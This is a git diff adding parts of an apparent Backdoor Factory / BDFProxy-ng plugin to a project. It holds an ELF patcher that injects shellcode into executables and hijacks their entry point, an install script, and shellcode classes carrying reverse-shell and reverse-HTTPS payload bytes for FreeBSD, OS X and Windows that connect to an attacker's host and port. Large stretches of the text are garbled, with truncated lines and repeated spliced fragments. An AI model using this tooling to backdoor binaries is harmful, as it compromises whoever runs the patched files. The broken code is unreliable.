e_phoff and e_phnum is greater than the file size" + return False + self.prog_hdr[i]['p_type'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_offset'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_vaddr'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_paddr'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_filesz'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_memsz'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_flags'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_align'] = struct.unpack(self.endian + "I", bin.read(4))[0] + else: + if self.e_phoff + (self.e_phnum * ((4 * 2) + (6 * 8))) > self.file_size: + print "[!] e_phoff and e_phnum is greater than the file size" + return False + self.prog_hdr[i]['p_type'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_flags'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.prog_hdr[i]['p_offset'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.prog_hdr[i]['p_vaddr'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.prog_hdr[i]['p_paddr'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.prog_hdr[i]['p_filesz'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.prog_hdr[i]['p_memsz'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.prog_hdr[i]['p_align'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + if self.prog_hdr[i]['p_type'] == 0x1 and self.prog_hdr[i]['p_vaddr'] < self.e_entry: + self.offset_addr = self.prog_hdr[i]['p_vaddr'] + self.LocOfEntryinCode = self.e_entry - self.offset_addr + #print "found the entry offset" + + if self.e_shoff > self.file_size: + print "[!] e_shoff location is greater than file size" + return False + if self.e_shnum > self.file_size: + print "[!] e_shnum is greater than file size" + return False + bin.seek(self.e_shoff, 0) + self.sec_hdr = {} + for i in range(self.e_shnum): + self.sec_hdr[i] = {} + if self.EI_CLASS == 0x01: + if self.e_shoff + self.e_shnum * 4 *10 > self.file_size: + print "[!] e_shnum is greater than file size" + return False + self.sec_hdr[i]['sh_name'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_type'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_flags'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_addr'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_offset'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_size'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_link'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_info'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_addralign'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_entsize'] = struct.unpack(self.endian + "I", bin.read(4))[0] + else: + if self.e_shoff + self.e_shnum * ((4 * 4) + (6 * 8)) > self.file_size: + print "[!] e_shnum is greater than file size" + return False + self.sec_hdr[i]['sh_name'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_type'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_flags'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.sec_hdr[i]['sh_addr'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.sec_hdr[i]['sh_offset'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.sec_hdr[i]['sh_size'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.sec_hdr[i]['sh_link'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_info'] = struct.unpack(self.endian + "I", bin.read(4))[0] + self.sec_hdr[i]['sh_addralign'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + self.sec_hdr[i]['sh_entsize'] = struct.unpack(self.endian + "Q", bin.read(8))[0] + + if self.set_section_name() is False: + print "[!] Fuzzing sections" + return False + if self.e_type != 0x2: + print "[!] Only supporting executable elf e_types, things may get weird." + + return True + + def output_options(self): + """ + Output file check. + """ + if not self.OUTPUT: + self.OUTPUT = os.path.basename(self.FILE) + + def patch_elf(self): + ''' + Circa 1998: http://vxheavens.com/lib/vsc01.html <--Thanks to elfmaster + 6. Increase p_shoff by PAGE_SIZE in the ELF header + 7. Patch the insertion code (parasite) to jump to the entry point (original) + 1. Locate the text segment program header + -Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz) + -Increase p_filesz by account for the new code (parasite) + -Increase p_memsz to account for the new code (parasite) + 2. For each phdr who's segment is after the insertion (text segment) + -increase p_offset by PAGE_SIZE + 3. For the last shdr in the text segment + -increase sh_len by the parasite length + 4. For each shdr who's section resides after the insertion + -Increase sh_offset by PAGE_SIZE + 5. Physically insert the new code (parasite) and pad to PAGE_SIZE, + into the file - text segment p_offset + p_filesz (original) + ''' + + self.support_check() + if self.supported is False: + print "[!] ELF Binary not supported" + return False + + self.output_options() + + if not os.path.exists("Plugins/BDFProxy-ng/backdoored"): + os.makedirs("Plugins/BDFProxy-ng/backdoored") + os_name = os.name + if os_name == 'nt': + self.backdoorfile = "Plugins/BDFProxy-ng/backdoored\\" + self.OUTPUT + else: + self.backdoorfile = "Plugins/BDFProxy-ng/backdoored/" + self.OUTPUT + + shutil.copy2(self.FILE, self.backdoorfile) + + + gather_result = self.gather_file_info() + if gather_result is False: + print "[!] Are you fuzzing?" + return False + + print "[*] Getting shellcode length" + + resultShell = self.set_shells() + if resultShell is False: + print "[!] Could not set shell" + return False + self.bin_file = open(self.backdoorfile, "r+b") + + newBuffer = len(self.shellcode) + + self.bin_file.seek(24, 0) + + headerTracker = 0x0 + PAGE_SIZE = 4096 + newOffset = None + #find range of the first PT_LOAD section + for header, values in self.prog_hdr.iteritems(): + #print 'program header', header, values + if values['p_flags'] == 0x5 and values['p_type'] == 0x1: + #print "Found text segment" + self.shellcode_vaddr = values['p_vaddr'] + values['p_filesz'] + beginOfSegment = values['p_vaddr'] + oldentry = self.e_entry + sizeOfNewSegment = values['p_memsz'] + newBuffer + LOCofNewSegment = values['p_filesz'] + newBuffer + headerTracker = header + newOffset = values['p_offset'] + values['p_filesz'] + + #now that we have the shellcode startpoint, reassgin shellcode, + # there is no change in size + print "[*] Setting selected shellcode" + + resultShell = self.set_shells() + + #SPLIT THE FILE + self.bin_file.seek(0) + if newOffset > 4294967296 or newOffset is None: + print "[!] Fuzz Fuzz Fuzz the bin" + return False + if newOffset > self.file_size: + print "[!] The file is really not that big" + return False + + file_1st_part = self.bin_file.read(newOffset) + #print file_1st_part.encode('hex') + newSectionOffset = self.bin_file.tell() + file_2nd_part = self.bin_file.read() + + self.bin_file.close() + #print "Reopen file for adjustments" + self.bin_file = open(self.backdoorfile, "w+b") + self.bin_file.write(file_1st_part) + self.bin_file.write(self.shellcode) + self.bin_file.write("\x00" * (PAGE_SIZE - len(self.shellcode))) + self.bin_file.write(file_2nd_part) + if self.EI_CLASS == 0x01: + #32 bit FILE + #update section header table + print "[*] Patching x86 Binary" + self.bin_file.seek(24, 0) + self.bin_file.seek(8, 1) + if self.e_shoff + PAGE_SIZE > 4294967296: + print "[!] Such fuzz..." + return False + self.bin_file.write(struct.pack(self.endian + "I", self.e_shoff + PAGE_SIZE)) + self.bin_file.seek(self.e_shoff + PAGE_SIZE, 0) + for i in range(self.e_shnum): + #print "i", i, self.sec_hdr[i]['sh_offset'], newOffset + if self.sec_hdr[i]['sh_offset'] >= newOffset: + #print "Adding page size" + if self.sec_hdr[i]['sh_offset'] + PAGE_SIZE > 4294967296: + print "[!] Melkor is cool right?" + return False + self.bin_file.seek(16, 1) + self.bin_file.write(struct.pack(self.endian + "I", self.sec_hdr[i]['sh_offset'] + PAGE_SIZE)) + self.bin_file.seek(20, 1) + elif self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr'] == self.shellcode_vaddr: + #print "adding newBuffer size" + if self.sec_hdr[i]['sh_offset'] + newBuffer > 4294967296: + print "[!] Someone is fuzzing..." + return False + self.bin_file.seek(20, 1) + self.bin_file.write(struct.pack(self.endian + "I", self.sec_hdr[i]['sh_size'] + newBuffer)) + self.bin_file.seek(16, 1) + else: + self.bin_file.seek(40, 1) + #update the pointer to the section header table + after_textSegment = False + self.bin_file.seek(self.e_phoff, 0) + for i in range(self.e_phnum): + #print "header range i", i + #print "self.shellcode_vaddr", hex(self.prog_hdr[i]['p_vaddr']), hex(self.shellcode_vaddr) + if i == headerTracker: + #print "Found Text Segment again" + after_textSegment = True + self.bin_file.seek(16, 1) + + if self.prog_hdr[i]['p_filesz'] + newBuffer > 4294967296: + print "[!] Melkor you fuzzer you..." + return False + if self.prog_hdr[i]['p_memsz'] + newBuffer > 4294967296: + print "[!] Someone is a fuzzing..." + return False + self.bin_file.write(struct.pack(self.endian + "I", self.prog_hdr[i]['p_filesz'] + newBuffer)) + self.bin_file.write(struct.pack(self.endian + "I", self.prog_hdr[i]['p_memsz'] + newBuffer)) + self.bin_file.seek(8, 1) + elif after_textSegment is True: + #print "Increasing headers after the addition" + self.bin_file.seek(4, 1) + if self.prog_hdr[i]['p_offset'] + PAGE_SIZE > 4294967296: + print "[!] Nice Fuzzer!" + return False + self.bin_file.write(struct.pack(self.endian + "I", self.prog_hdr[i]['p_offset'] + PAGE_SIZE)) + self.bin_file.seek(24, 1) + else: + self.bin_file.seek(32, 1) + + self.bin_file.seek(self.e_entryLocOnDisk, 0) + if self.shellcode_vaddr >= 4294967295: + print "[!] Oh hai Fuzzer!" + return False + self.bin_file.write(struct.pack(self.endian + "I", self.shellcode_vaddr)) + + self.JMPtoCodeAddress = self.shellcode_vaddr - self.e_entry - 5 + + else: + #64 bit FILE + print "[*] Patching x64 Binary" + self.bin_file.seek(24, 0) + self.bin_file.seek(16, 1) + if self.e_shoff + PAGE_SIZE > 0x7fffffffffffffff: + print "[!] Such fuzz..." + return False + self.bin_file.write(struct.pack(self.endian + "I", self.e_shoff + PAGE_SIZE)) + self.bin_file.seek(self.e_shoff + PAGE_SIZE, 0) + for i in range(self.e_shnum): + #print "i", i, self.sec_hdr[i]['sh_offset'], newOffset + if self.sec_hdr[i]['sh_offset'] >= newOffset: + #print "Adding page size" + self.bin_file.seek(24, 1) + if self.sec_hdr[i]['sh_offset'] + PAGE_SIZE > 0x7fffffffffffffff: + print "[!] Fuzzing..." + return False + self.bin_file.write(struct.pack(self.endian + "Q", self.sec_hdr[i]['sh_offset'] + PAGE_SIZE)) + self.bin_file.seek(32, 1) + elif self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr'] == self.shellcode_vaddr: + #print "adding newBuffer size" + self.bin_file.seek(32, 1) + if self.sec_hdr[i]['sh_offset'] + newBuffer > 0x7fffffffffffffff: + print "[!] Melkor is cool right?" + return False + self.bin_file.write(struct.pack(self.endian + "Q", self.sec_hdr[i]['sh_size'] + newBuffer)) + self.bin_file.seek(24, 1) + else: + self.bin_file.seek(64, 1) + #update the pointer to the section header table + after_textSegment = False + self.bin_file.seek(self.e_phoff, 0) + for i in range(self.e_phnum): + #print "header range i", i + #print "self.shellcode_vaddr", hex(self.prog_hdr[i]['p_vaddr']), hex(self.shellcode_vaddr) + if i == headerTracker: + #print "Found Text Segment again" + after_textSegment = True + self.bin_file.seek(32, 1) + if self.prog_hdr[i]['p_filesz'] + newBuffer > 0x7fffffffffffffff: + print "[!] Fuzz fuzz fuzz... " + return False + if self.prog_hdr[i]['p_memsz'] + newBuffer > 0x7fffffffffffffff: + print "[!] Someone is fuzzing..." + return False + self.bin_file.write(struct.pack(self.endian + "Q", self.prog_hdr[i]['p_filesz'] + newBuffer)) + self.bin_file.write(struct.pack(self.endian + "Q", self.prog_hdr[i]['p_memsz'] + newBuffer)) + self.bin_file.seek(8, 1) + elif after_textSegment is True: + #print "Increasing headers after the addition" + self.bin_file.seek(8, 1) + if self.prog_hdr[i]['p_offset'] + PAGE_SIZE > 0x7fffffffffffffff: + print "[!] Nice fuzzer!" + return False + self.bin_file.write(struct.pack(self.endian + "Q", self.prog_hdr[i]['p_offset'] + PAGE_SIZE)) + self.bin_file.seek(40, 1) + else: + self.bin_file.seek(56, 1) + + self.bin_file.seek(self.e_entryLocOnDisk, 0) + if self.shellcode_vaddr > 0x7fffffffffffffff: + print "[!] Fuzzing..." + return False + self.bin_file.write(struct.pack(self.endian + "Q", self.shellcode_vaddr)) + + self.JMPtoCodeAddress = self.shellcode_vaddr - self.e_entry - 5 + + self.bin_file.close() + print "[!] Patching Complete" + return True + +# END elfbin clas diff --git a/Plugins/BDFProxy-ng/bdf/install.sh b/Plugins/BDFProxy-ng/bdf/install.sh new file mode 100755 index 0000000..f34c616 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/install.sh @@ -0,0 +1,70 @@ +#!/usr/bin/env bash + +#depends: +# capstone (newest) +# pefile +# python-capstone + + +if [[ $EUID -ne 0 ]]; then + echo "You must be root" 2>&1 + exit 1 +fi + +#check if kali +uname -a | grep -i kali &> /dev/null +if [ $? -eq 0 ]; then + apt-get update + apt-get install -y python-capstone + #install appack + uname -a | grep -i "armv" &> /dev/null + if [ $? -ne 0 ]; then + echo "[*] installing appack for onionduke" + sudo apt-get install -y libc6-dev-i386 + cd ./aPLib/example/ + gcc -c -I../lib/elf -m32 -Wall -O2 -s -o appack.o appack.c -v + gcc -m32 -Wall -O2 -s -o appack appack.o ../lib/elf/aplib.a -v + sudo cp ./appack /usr/bin/appack + else + echo "Arm not supported for aPLib" + fi +fi + +#other linux +uname -a | grep -v "kali" | grep -i linux &> /dev/null +if [ $? -eq 0 ]; then + + if hash pip 2>/dev/null; then + sudo apt-get install -y python-pip + pip install pefile + #install capstone + pip install capstone + else + echo '[!!!!] Install pefile and capstone manually, pip is not installed' + echo '[!!!!] or install pip and retry' + echo "" + fi + uname -a | grep -i "armv" &> /dev/null + if [ $? -ne 0 ]; then + echo "[*] installing appack for onionduke" + echo "[*] installing dependences" + sudo apt-get install libc6-dev-i386 + cd ./aPLib/example/ + gcc -c -I../lib/elf -m32 -Wall -O2 -s -o appack.o appack.c -v + gcc -m32 -Wall -O2 -s -o appack appack.o ../lib/elf/aplib.a -v + sudo cp ./appack /usr/bin/appack + else + echo "[!!!!] Arm not supported for aPLib" + fi +fi + +#OS X appack install +uname -a | grep -i Darwin &> /dev/null +if [ $? -eq 0 ]; then + pip install pefile + cd ./aPLib/example/ + clang -c -I../lib/macho64 -Wall -O2 -o appack.o appack.c -v + clang -Wall -O2 -o appack appack.o ../lib/macho64/aplib.a -v + cp ./appack /usr/bin/appack +fi + diff --git a/Plugins/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py b/Plugins/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py new file mode 100644 index 0000000..dca082d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py @@ -0,0 +1,149 @@ +''' + +Copyright (c) 2013-2014, Joshua Pitts +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + 3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +''' + +import struct +import sys + + +class freebsd_elfI32_shellcode(): + """ + FreeBSDELF Intel x32 shellcode class + """ + + def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None): + #could take this out HOST/PORT and put into each shellcode function + self.HOST = HOST + self.PORT = PORT + self.e_entry = e_entry + self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE + self.shellcode = "" + + def pack_ip_addresses(self): + hostocts = [] + if self.HOST is None: + print "This shellcode requires a HOST parameter -H" + return False + for i, octet in enumerate(self.HOST.split('.')): + hostocts.append(int(octet)) + self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], + hostocts[2], hostocts[3]) + return self.hostip + + def returnshellcode(self): + return self.shellcode + + def reverse_shell_tcp(self, CavesPicked={}): + """ + Modified metasploit payload/bsd/x86/shell_reverse_tcp + to correctly fork the shellcode payload and contiue normal execution. + """ + if self.PORT is None: + print ("Must provide port") + return False + + self.shellcode1 = "\x52" # push edx + self.shellcode1 += "\x31\xC0" # xor eax, eax + self.shellcode1 += "\xB0\x02" # mov al, 2 + self.shellcode1 += "\xCD\x80" # int 80 + self.shellcode1 += "\x5A" # pop edx + self.shellcode1 += "\x85\xc0\x74\x07" + self.shellcode1 += "\xbd" + #JMP to e_entry + self.shellcode1 += struct.pack("H", self.PORT) + self.shellcode2 += ("\x89\xe7\x31\xc0\x50" + "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62" + "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68" + "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53" + "\x50\xb0\x3b\xcd\x80" + ) + + self.shellcode1 = ("\xB8\x02\x00\x00\x02\xcd\x80\x85\xd2") + self.shellcode1 += "\x0f\x84" + if self.jumpLocation < 0: + self.shellcode1 += struct.pack("H", self.PORT) + self.shellcode2 += ("\x89\xe7\x31\xc0\x50" + "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62" + "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68" + "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53" + "\x50\xb0\x3b\xcd\x80" + ) + + #Time Check + self.shellcode2 += "\xB8\x74\x00\x00\x02\xcd\x80" # put system time in eax + self.shellcode2 += "\x05" # add eax, 15 for seconds + self.shellcode2 += struct.pack("H", self.PORT) + self.shellcode2 += ("\x89\xe7\x31\xc0\x50" + "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62" + "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68" + "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53" + "\x50\xb0\x3b\xcd\x80" + ) + + self.shellcode1 = ("\xB8\x02\x00\x00\x02\xcd\x80\x85\xd2") + self.shellcode1 += "\x0f\x84" + if self.jumpLocation < 0: + self.shellcode1 += struct.pack("H", self.PORT) + self.shellcode2 += self.pack_ip_addresses() + self.shellcode2 += ("\x56\x48\x89\xe6\x6a\x10\x5a\x0f" + "\x05\x4c\x89\xe7\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a" + "\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8\x3b\x00\x00\x02" + "\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c" + "\x24\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05" + ) + + self.shellcode1 = ("\xB8\x02\x00\x00\x02\x0f\x05\x85\xd2") # FORK() + self.shellcode1 += "\x0f\x84" # \x4c\x03\x00\x00" # <-- Points to LC_MAIN/LC_UNIXTREADS offset + if self.jumpLocation < 0: + self.shellcode1 += struct.pack("H", self.PORT) + self.shellcode2 += self.pack_ip_addresses() + self.shellcode2 += ("\x56\x48\x89\xe6\x6a\x10\x5a\x0f" + "\x05\x4c\x89\xe7\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a" + "\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8\x3b\x00\x00\x02" + "\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c" + "\x24\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05" + ) + + self.shellcode1 = ("\xB8\x02\x00\x00\x02\x0f\x05\x85\xd2") # FORK() + self.shellcode1 += "\x0f\x84" # \x4c\x03\x00\x00" # <-- Points to LC_MAIN/LC_UNIXTREADS offset + if self.jumpLocation < 0: + self.shellcode1 += struct.pack("H", self.PORT) + self.shellcode2 += self.pack_ip_addresses() + self.shellcode2 += ("\x56\x48\x89\xe6\x6a\x10\x5a\x0f" + "\x05\x4c\x89\xe7\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a" + "\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8\x3b\x00\x00\x02" + "\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c" + "\x24\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05" + ) + #TIME CHECK + + self.shellcode2 += "\xB8\x74\x00\x00\x02\x0f\x05" # put system time in rax + self.shellcode2 += "\x48\x05" + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack("

      It + * works!

      , EnableStageEncoding=false, + * PrependMigrate=false, EXITFUNC=thread, AutoLoadStdapi=true, + * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true, + * EnableUnicodeEncoding=true + */ + """ + if flItms['NewCodeCave'] is False: + if CavesPicked != {}: + self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix']) + + else: + self.shellcode2 += "\x41" * 90 + + #payload + self.shellcode2 += ("\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52" + "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" + "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" + "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" + "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" + "\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00" + "\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b" + "\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" + "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" + "\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8" + "\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b" + "\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41" + "\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41" + "\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff" + "\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56" + "\x49\x89\xe6\x4c\x89\xf1\x49\xba\x4c\x77\x26\x07\x00\x00\x00" + "\x00\xff\xd5\x6a\x00\x6a\x00\x48\x89\xe1\x48\x31\xd2\x4d\x31" + "\xc0\x4d\x31\xc9\x41\x50\x41\x50\x49\xba\x3a\x56\x79\xa7\x00" + "\x00\x00\x00\xff\xd5\xe9\x9e\x00\x00\x00\x5a\x48\x89\xc1\x49" + "\xb8") + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode2) < breakupvar: + self.shellcode2 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack(" 0: + self.shellcode1 += "\xe9" + if len(self.shellcode1) < breakupvar: + self.shellcode1 += struct.pack("= 6 or self.count % 5 == 0 and self.count != 0: + break + + self.flItms['count_bytes'] = self.count + + def pe64_entry_instr(self): + """ + For x64 files. Updated to use Capstone-Engine. + """ + print "[*] Reading win64 entry instructions" + self.f.seek(self.flItms['LocOfEntryinCode'], 0) + self.count = 0 + self.flItms['ImpList'] = [] + md = Cs(CS_ARCH_X86, CS_MODE_64) + for k in md.disasm(self.f.read(12), self.flItms['VrtStrtngPnt']): + self.count += k.size + _bytes = bytearray(b'') + + if len(k.bytes) < k.size: + _bytes = bytearray(b"\x00" * (k.size - len(k.bytes))) + + value_bytes = k.bytes + _bytes + + self.flItms['ImpList'].append([int(hex(k.address).strip('L'), 16), + k.mnemonic.encode("utf-8"), + k.op_str.encode("utf-8"), + int(hex(k.address).strip('L'), 16) + k.size, + value_bytes, + k.size]) + + if self.count >= 6 or self.count % 5 == 0 and self.count != 0: + break + + self.flItms['count_bytes'] = self.count + + def patch_initial_instructions(self): + """ + This function takes the flItms dict and patches the + executable entry point to jump to the first code cave. + """ + print "[*] Patching initial entry instructions" + self.f.seek(self.flItms['LocOfEntryinCode'], 0) + #This is the JMP command in the beginning of the + #code entry point that jumps to the codecave + self.f.write(struct.pack('=B', int('E9', 16))) + if self.flItms['JMPtoCodeAddress'] < 0: + self.f.write(struct.pack(' 5: + for i in range(self.flItms['count_bytes'] - 5): + self.f.write(struct.pack('=B', 0x90)) + + def resume_execution_64(self): + """ + For x64 exes... + """ + print "[*] Creating win64 resume execution stub" + #pause loop for code cave clearing stub + resumeExe = '' + resumeExe += "\x51" # push ecx + resumeExe += 